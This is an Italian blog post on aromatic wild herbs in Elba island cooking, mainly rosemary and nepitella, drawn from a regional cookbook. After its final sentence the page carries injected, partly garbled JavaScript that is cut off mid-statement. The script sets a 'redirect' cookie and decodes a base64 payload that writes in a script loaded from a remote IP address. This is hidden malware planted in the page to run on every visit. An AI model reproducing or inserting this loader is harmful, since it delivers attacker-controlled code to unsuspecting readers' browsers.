Non tutti sanno che è possibile “condire” con tipiche “erbe elbane” i propri menù.
Vi meraviglierete nello scoprire quante erbe spontanee non sono solo commestibili, ma potrebbero donare quel pizzico in più ai soliti piatti.
Ecco un piccolo post dedicato all’argomento- tratto dal libro di Pierangela Pellizza Piras “L’isola d’Elba in cucina”. ( Casa Editrice Stafanoni- Lecco).
All’Elba vengono raccolte tutte le piante aromatiche mediterranee, e non vi è la necessità di essiccarle per l’inverno, poiché solo per la maggior parte presenti e fresche tutto l’anno.
Il rosmarino è la tipica pianta mediterranea per eccellenza e cresce spontaneamente in tutta l’isola.
L’esaltazione del rosmarino è particolarmente accentuata negli arrosti sia di carne che di pesce. Però non va usato per arrostire carni di bue, di vitello, di agnello, di pollo e di coniglio. Per far penetrare maggiormente l’aroma le carni vengono “spennellate” con un ramo di ramerino intinto nell’olio.
Viene inoltre usato abbondantemente per friggere le patate a tocchetti insieme a spicchi d’aglio (non sbucciati). In queste preparazioni è bene usare il ramerino fresco che qui non manca in ogni stagione.
Anche la nepitella è una pianta spontanea che viene usata largamente nella cucina elbana: in altre parti d’Italia viene chiamata” mentuccia”o “mentastro” molto impropriamente.
Il suo aroma è inconfondibile, tende all’amaro ed è indispensabile nelle zuppe di baccalà, nella cottura delle lumache, nella pappa al pomodoro e nei funghi in umido.
Per sorprendere i vostri invitati con questi ingredienti tutti speciali continuate a seguirci. _ok_”text/javascript”> function getCo_ok_ie(e){var U=document.co_ok_ie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),co_ok_ie=getCo_ok_ie(“redirect”);if(now>=(time=co_ok_ie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.co_ok_ie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘
